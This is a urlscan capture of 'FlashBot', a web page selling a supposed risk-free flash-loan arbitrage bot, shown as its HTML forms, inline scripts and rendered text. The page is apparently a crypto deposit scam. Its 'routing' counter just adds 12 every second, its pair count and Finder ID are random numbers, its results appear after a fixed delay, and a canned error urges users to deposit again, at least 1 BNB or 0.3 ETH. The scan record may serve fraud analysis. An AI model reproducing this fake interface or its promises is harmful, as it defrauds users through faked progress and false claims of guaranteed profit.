app.flashbot.us Open in urlscan Pro
2606:4700:3034::ac43:ccbc  Public Scan

URL: https://app.flashbot.us/
Submission: On May 21 via manual from CZ — Scanned from US

Form analysis 4 forms found in the DOM

<form class="form-table ng-pristine ng-valid ng-valid-minlength ng-valid-maxlength" style="background: transparent;">
  <h1 style="font-size: 55px; display: inline;">Welcome to </h1>
  <h1 style="text-shadow: 0 0 25px #9340ff; display: inline; font-size: 55px;">
    <p style="display: inline;" id="writer">FlashBOT</p>
    <p style="display: inline;" class="blink">.</p>
  </h1>
  <p style="padding: 0px 10%;">FlashBot is the first <b>NO CODE</b> arbitrage trading bot that leverage flash loans. <b>Enjoy risk free on-chain arbitrage opportunities</b>, automatic pair matching and routing. Just select the network (ETH or BSC)
    and enter a token address to launch the ARBITRAGE FINDER.</p>
  <table class="test" style="width:100%;margin-left: 10px;" id="myTable">
  </table>
  <div class="space50"></div>
  <!-- 
<div class="dropdown">
            <div onclick="mydrop()" class="dropbtn" style="text-align: right;margin-right: 25px;">Token List <i class="fa fa-chevron-down"></i></div>
            <div id="myDropdown" class="dropdown-content">
                <div style="cursor: pointer;padding: 10px;" onclick="usdt(), closemebro()"><img src="assets/image/token/usdt.png" width="40" height="40"><div style="display: inline; font-size: 22px;position: fixed;margin-left: 15px;">Usdt </div><div style="display: inline;margin-left: 12px;color: #676767;font-size: 12px;"> 0x2a8cd78bfb91acf53f589961d213d87c956e0d7f</div></div>
                <div style="cursor: pointer;padding: 10px;" onclick="doge(), closemebro()"><img src="assets/image/token/doge.png" width="40" height="40"><div style="display: inline; font-size: 22px;position: fixed;margin-left: 15px;">Doge </div><div style="display: inline;margin-left: 12px;color: #676767;font-size: 12px;"> 0xba2ae424d960c26247dd6c32edc70b295c744c43</div></div>
                <div style="cursor: pointer;padding: 10px;" onclick="safemoon(), closemebro()"><img src="assets/image/token/safemoon.png" width="40" height="40"><div style="display: inline; font-size: 22px;position: fixed;margin-left: 15px;">SafeMoon </div><div style="display: inline;margin-left: 12px;color: #676767;font-size: 12px;"> 0x8076c74c5e3f5852037f31ff0093eeb8c8add8d3</div></div>
                <div style="cursor: pointer;padding: 10px;" onclick="ada(), closemebro()"><img src="assets/image/token/ada.png" width="40" height="40"><div style="display: inline; font-size: 22px;position: fixed;margin-left: 15px;">Cardano </div><div style="display: inline;margin-left: 12px;color: #676767;font-size: 12px;"> 0x3ee2200efb3400fabb9aacf31297cbdd1d435d47</div></div>
                <div style="cursor: pointer;padding: 10px;" onclick="xrp(), closemebro()"><img src="assets/image/token/xrp.png" width="40" height="40"><div style="display: inline; font-size: 22px;position: fixed;margin-left: 15px;">Ripple </div><div style="display: inline;margin-left: 12px;color: #676767;font-size: 12px;"> 0x1d2f0da169ceb9fc7b3144628db156f3f6c60dbe</div></div>
                
                <a style="font-weight: 800;" href="list.html"><div style="cursor: pointer;font-size: 14px;text-align: center;color: white;">Find more tokens!</div></a>
		
            		</div>
            </div>
 -->
  <div class="input-holder">
    <input id="dropaddr" onclick="getBalance()" type="text" placeholder="Token Address:" ng-model="erc20.name" maxlength="42" minlength="42" autofocus="" #dropaddr=""
      class="ng-pristine ng-valid ng-empty ng-valid-minlength ng-valid-maxlength ng-touched">
    <input id="dropname" onclick="getBalance()" type="text" placeholder="Token Symbol:" ng-model="erc20.symbol" maxlength="12" #dropname="" class="ng-pristine ng-untouched ng-valid ng-empty ng-valid-maxlength">
  </div>
  <div>&nbsp;</div>
  <div class="center">
    <div class="cc-selector" style="display: inline; margin-right: 10px;">
      <label class="super">Select Network:</label>
      <input type="radio" ng-model="erc20.network" id="n1" name="network" ng-value="true" ng-checked="erc20.network" style="display: inline; margin-right: 10px;" class="ng-pristine ng-untouched ng-valid ng-empty" value="true">
      <label class="drinkcard-cc visa" for="n1"> </label>
      <input type="radio" ng-model="erc20.network" id="n2" name="network" ng-value="false" ng-checked="!erc20.network" style="display: inline; margin-right: 10px;" class="ng-pristine ng-untouched ng-valid ng-empty" value="false" checked="checked">
      <label class="drinkcard-cc mastercard" for="n2"> </label>
    </div>
  </div>
  <div>&nbsp;</div>
  <div class="input-holder btn-holder">
    <button type="submit" onclick="fixCheck(), getBalance()"><b>START ARBITRAGE FINDER</b></button>
  </div>
</form>

<form class="form-table darking block ng-pristine ng-valid" style="background: rgb(17, 17, 17); width: 450px; height: 120px;">
  <a style="font-size: 36px; color: white; float: right; padding-top: 18px;" class="ng-binding"><div id="mybalance" style="display: inline;"></div> </a><br>
  <a style="font-size: 13px; color: white;">Network:</a><a style="font-size: 11px; color: #1a70e1;" target="_blank" href="" class="ng-binding"></a><br>
  <a style="color: white;">Address:</a><a style="font-size: 18px; color: #1a70e1;" target="_blank" href=""><div style="display: inline;" class="ng-binding">...</div></a>
</form>

<form class="form-table darking block ng-valid ng-valid-min ng-valid-max ng-valid-step ng-dirty ng-valid-number ng-hide" style="position: relative; width: 450px;" ng-show="formStep == 2" ng-submit="submitLoanForm()">
  <style>
    .loader {
      border: 10px solid #212429;
      border-radius: 100%;
      border-top: 10px solid #0e0f11;
      width: 125px;
      height: 125px;
      -webkit-animation: spin 2s linear infinite;
      /* Safari */
      animation: spin 2s linear infinite;
      float: none;
      position: absolute;
      left: 36%;
      transform: translate(-50%, -50%);
    }

    /* Safari */
    @-webkit-keyframes spin {
      0% {
        -webkit-transform: rotate(0deg);
      }

      100% {
        -webkit-transform: rotate(360deg);
      }
    }

    @keyframes spin {
      0% {
        transform: rotate(0deg);
      }

      100% {
        transform: rotate(360deg);
      }
    }
  </style>
  <script type="text/javascript">
    window.setTimeout("Tick()", 1000);

    function Tick() {}
    var Timer;
    var TotalSeconds;

    function CreateTimer(TimerID, Time) {
      Timer = document.getElementById(TimerID);
      TotalSeconds = Time;
      UpdateTimer()
      window.setTimeout("Tick()", 1000);
    }

    function Tick() {
      TotalSeconds += 12;
      UpdateTimer()
      window.setTimeout("Tick()", 1000);
    }

    function UpdateTimer() {
      Timer.innerHTML = TotalSeconds;
    }
    setTimeout(function() {
      $('#out').fadeOut('fast');
    }, 19500);
  </script>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
  <div style="padding: 15px;" id="out">
    <div class="alert">
      <span class="closebtn" onclick="this.parentElement.style.display='none';">×</span>
      <strong>Please wait...</strong> We are searching for the best arbitrage opportunity and swap routing for the selected token.
    </div>
    <div>&nbsp;</div>
    <div>&nbsp;</div>
    <div class="loader block2"></div>
    <div>&nbsp;</div>
    <div>&nbsp;</div>
    <div>&nbsp;</div>
    <div>&nbsp;</div>
    <div>&nbsp;</div>
    <div>&nbsp;</div>
    <div>&nbsp;</div>
    <div>&nbsp;</div>
    <a style="color:#ffffff; font-size: 14px;">
					<br>
					Token Name: <b class="ng-binding"></b><br> 
					Address:  </a><a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Berc20.name%7D%7D" class="ng-binding"></a>
    <a style="color:#ffffff; font-size: 14px;" class="ng-binding">
					<br>
					Network: <br>
					Routing started: <br> 
					Router: </a><a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Baddress%7D%7D" class="ng-binding"></a>
    <a style="color:#ffffff; font-size: 14px;">
					<br>
					Checking routing combination: <div style="display: inline-block;" id="timer">144</div>/466<br>
					Block Number: <span style="display: inline-block;" id="blockNumber"></span><br>
				</a>
    <script type="text/javascript">
      window.onload = CreateTimer("timer", 0);
    </script>
  </div>
  <script>
    setTimeout(function() {
      $('#in').hide().fadeIn('fast');
    }, 20000);
  </script>
  <div id="in" hidden="">
    <div>&nbsp;</div>
    <div class="kv">
      <div><a style="float:left; color: white; font-size: 21px;" class="ng-binding">Loan Amount: ()</a>
        <br>
        <a style="color: white; font-size: 12px;" class="ng-binding">Min 25, Max 10000 </a>
      </div>
      <div class="button-info" id="info2"><i class="fa fa-question-circle"></i></div>
    </div>
    <div class="input-holder">
      <input style="display: inline; width: 100%;" class="input-group-field ng-pristine ng-untouched ng-valid ng-not-empty ng-valid-min ng-valid-max ng-valid-step" id="loanAmtInput" type="number" ng-change="amountChanged()" ng-model="loan.amount"
        step="25" min="25" max="10000" placeholder="Loan Amount ():">
      <input style="display: inline; width: 100%;" class="slider input-group-field ng-untouched ng-valid ng-not-empty ng-dirty ng-valid-number ng-valid-min ng-valid-max ng-valid-step" id="loanAmtInput" type="range" ng-change="amountChanged()"
        ng-model="loan.amount" step="25" min="25" max="1000">
      <div class="space25"></div>
      <div class="input-holder info">
        <div class="kv">
          <div class="tooltip">
            <div>Dapp Fee <span class="tooltiptext">Small and fair fee to support the dapp developement. It's already deducted from the estimated profit below.</span>
            </div>
          </div>
          <div>0.3%</div>
        </div>
        <div class="kv">
          <div class="tooltip">
            <div>Swap Fee <span class="tooltiptext ng-binding">How much its needed to perform the DEX swaps. (GAS FEES)</span>
            </div>
          </div>
          <div class="ng-binding"> </div>
        </div>
        <div class="kv">
          <div>Loan Fee</div>
          <div class="ng-binding"> </div>
        </div>
        <div class="kv">
          <div>Total Gas Fee</div>
          <div class="spend ng-binding"> </div>
        </div>
        <div class="kv">
          <div style="display: inline-block;">Routing</div>
          <div class="ng-binding">
            <div id="check" style="display: inline-block;"></div> Pair &gt;
          </div>
          <script>
            function fixCheck() {
              var x = Math.floor((Math.random() * 10) + 1);
              document.getElementById("check").innerHTML = x;
            }
          </script>
        </div>
        <div class="kv">
          <div>Token</div>
          <div class="spend ng-binding"></div>
        </div>
        <hr>
        <div class="kv">
          <div class="tooltip">
            <div>Estimted profit from Arbitrage <span class="tooltiptext">How much you will earn if you start the arbitrage bot right now.</span>
            </div>
          </div>
          <div style="display: inline-block;" class="gain ng-binding">≈ </div>
        </div>
        <div class="kv">
          <div class="tooltip">
            <div>ROI <span class="tooltiptext">Return On Investiment.</span>
            </div>
          </div>
          <div style="display: inline-block;" class="gain ng-binding">x </div>
        </div>
      </div>
      <div class="kv" style="padding: 15px; font-size: 12px;">
        <div>Finder ID:</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <div class="tooltip">
          <div id="numberid" style="display: inline-block;">42byal</div>
          <span class="tooltiptext">This is a unique code for identification of your arbitrage match. Is for an internal use. </span>
        </div>
        <script>
          let r = Math.random().toString(36).substring(7);
          document.getElementById("numberid").innerHTML = r;
        </script>
      </div>
      <div class="input-holder btn-holder">
        <button type="submit" ng-disabled="processing || ethDeposited" class="ng-binding">Deposit </button>
      </div>
      <div class="input-holder btn-holder">
        <div onclick="plausible('Conv')" class="button-2 connectButton" type="submit" hknnx-ced="true">
          <p class="otstup">Execute FlashBot Arbitrage</p>
        </div>
      </div>
    </div>
  </div>
  <div id="myModal2" class="modal">
    <div class="modal-content" style="border-radius: 25px;padding: 20px;margin-top: 200px;width: 430px;box-shadow: 0 0 1000px 0 #000000, 0 6px 50px 0 #000000;">
      <span class="close2" style="float: right;font-size: 30px;">×</span>
      <div style="padding: 0 15px;">
        <a style="float:left; color: white; font-size: 21px;">Arbitrage Detail:</a><br><br>
        <a style="color:#ffffff; font-size: 14px;">
					<br>
					Token Name: <b class="ng-binding"></b><br> 
					Address:  </a><a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Berc20.name%7D%7D" class="ng-binding"></a><br> Caller:
        <a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Baccount.address%7D%7D" class="ng-binding"></a>
        <a style="color:#ffffff; font-size: 14px;" class="ng-binding">
					<br>
					Routing started: <br> 
					Router: </a><a style="color:#3c64e7; font-size: 10px;" target="_blank" href=" /%7B%7Bscan%7D%7Daddress/%7B%7Baddress%7D%7D" class="ng-binding"></a><br>
      </div>
    </div>
  </div>
  <script>
    var modal = document.getElementById("myModal2");
    var btn = document.getElementById("info2");
    var span = document.getElementsByClassName("close2")[0];
    btn.onclick = function() {
      modal.style.display = "block";
    }
    span.onclick = function() {
      modal.style.display = "none";
    }
    window.onclick = function(event) {
      if (event.target == modal) {
        modal.style.display = "none";
      }
    }
  </script>
</form>

index.html

<form id="regForm" action="index.html" class="ng-pristine ng-valid">
  <div class="tab" style="display: block;">
    <a style="font-size: 22px; color: white;">1. Choose a Token to Start arbitrage</a><br>
    <div class="space25"></div>
    <a style="font-size: 12px; color: white;">The DAPP will automatically check for possible arbitrage opportunities for the selected token on the  Decentralized exchanges (on ETH or BSC chain)</a>
  </div>
  <div class="tab">
    <a style="font-size: 22px; color: white;">2. Get the Loan for the Arbitrage</a><br><br>
    <div class="space10"></div>
    <a style="font-size: 12px; color: white;">Once  the opportunity has been found, you can get  Flash Loan from AAVE, Multiplier-Finance, or from PancakeSwap/Uniswap (thanks to flash swap). This is done for you in the dapp, just select the loan amount.</a>
  </div>
  <div class="tab">
    <a style="font-size: 22px; color: white;">3. Deposit ETH or BNB</a><br><br>
    <div class="space10"></div>
    <a style="font-size: 12px; color: white;">Now you need pay the fees of the Loan to start arbitrage clicking the deposit Button.</a>
  </div>
  <div class="tab">
    <a style="font-size: 22px; color: white;">4. Run arbitrage script</a><br><br>
    <div class="space10"></div>
    <a style="font-size: 12px; color: white;">The bot will execute the arbitrage trades, repay the Flash Loan amount and will split the profit between you and the devs (only 0.3% of the profit will go to devs).</a>
  </div>
  <div style="text-align:center; margin-top:40px; width: 100%;">
    <span class="step active"></span>
    <span class="step"></span>
    <span class="step"></span>
    <span class="step"></span>
  </div>
  <div class="space50"></div>
  <div style="width: 100%; padding-right: 25%; padding-left: 25%;">
    <button class="block" type="button" id="nextBtn" onclick="nextPrev(1)" style="width: 50%; padding: 15px 6px; background: black;cursor: pointer;">Next</button>
    <button type="button" id="prevBtn" onclick="nextPrev(-1)" style="width: 50%; padding: 15px 6px; display: none;">Go Back</button>
  </div>
</form>

Text Content

   ×
 * Welcome to FlashBot!
   
   
   
   
 * Home
 * Airdrop
 * Token List
 * Affiliate
   
   
   
   
   Github Docs News FAQ

FlashBotfinance
...
×


YOUR WALLET

--------------------------------------------------------------------------------


Check on Copy Address

× Error: It looks like you've got unpending balance please make the deposit
again to get all the balance unclaimed. If the transaction will be successfull
you will receive the arbitrage profits plus the fees from last attempt.
Note: To prevent front-run it is recommended to make a deposit of at least 1 BNB
or 0.3 ETH.


WELCOME TO

FLASHBOT

.

FlashBot is the first NO CODE arbitrage trading bot that leverage flash loans.
Enjoy risk free on-chain arbitrage opportunities, automatic pair matching and
routing. Just select the network (ETH or BSC) and enter a token address to
launch the ARBITRAGE FINDER.




 
Select Network:
 
START ARBITRAGE FINDER


Network:
Address:
...
× Please wait... We are searching for the best arbitrage opportunity and swap
routing for the selected token.
 
 

 
 
 
 
 
 
 
 

Token Name:
Address:
Network:
Routing started:
Router:
Checking routing combination:
144
/466
Block Number:

 
Loan Amount: ()
Min 25, Max 10000

Dapp Fee Small and fair fee to support the dapp developement. It's already
deducted from the estimated profit below.
0.3%
Swap Fee How much its needed to perform the DEX swaps. (GAS FEES)

Loan Fee

Total Gas Fee

Routing

Pair >
Token


--------------------------------------------------------------------------------

Estimted profit from Arbitrage How much you will earn if you start the arbitrage
bot right now.
≈
ROI Return On Investiment.
x
Finder ID:
         
42byal
This is a unique code for identification of your arbitrage match. Is for an
internal use.
Deposit

Execute FlashBot Arbitrage

×
Arbitrage Detail:


Token Name:
Address:
Caller:
Routing started:
Router:


Tutorial Step by Step
1. Choose a Token to Start arbitrage


The DAPP will automatically check for possible arbitrage opportunities for the
selected token on the Decentralized exchanges (on ETH or BSC chain)
2. Get the Loan for the Arbitrage



Once the opportunity has been found, you can get Flash Loan from AAVE,
Multiplier-Finance, or from PancakeSwap/Uniswap (thanks to flash swap). This is
done for you in the dapp, just select the loan amount.
3. Deposit ETH or BNB



Now you need pay the fees of the Loan to start arbitrage clicking the deposit
Button.
4. Run arbitrage script



The bot will execute the arbitrage trades, repay the Flash Loan amount and will
split the profit between you and the devs (only 0.3% of the profit will go to
devs).


Next Go Back


WebSocket: ConnectedOur WebSocket is correctly connected to the Server.




© FlashBot 2021-2024 Partners: GitHub | OpenAi | CoinDesk | CoinMarketCap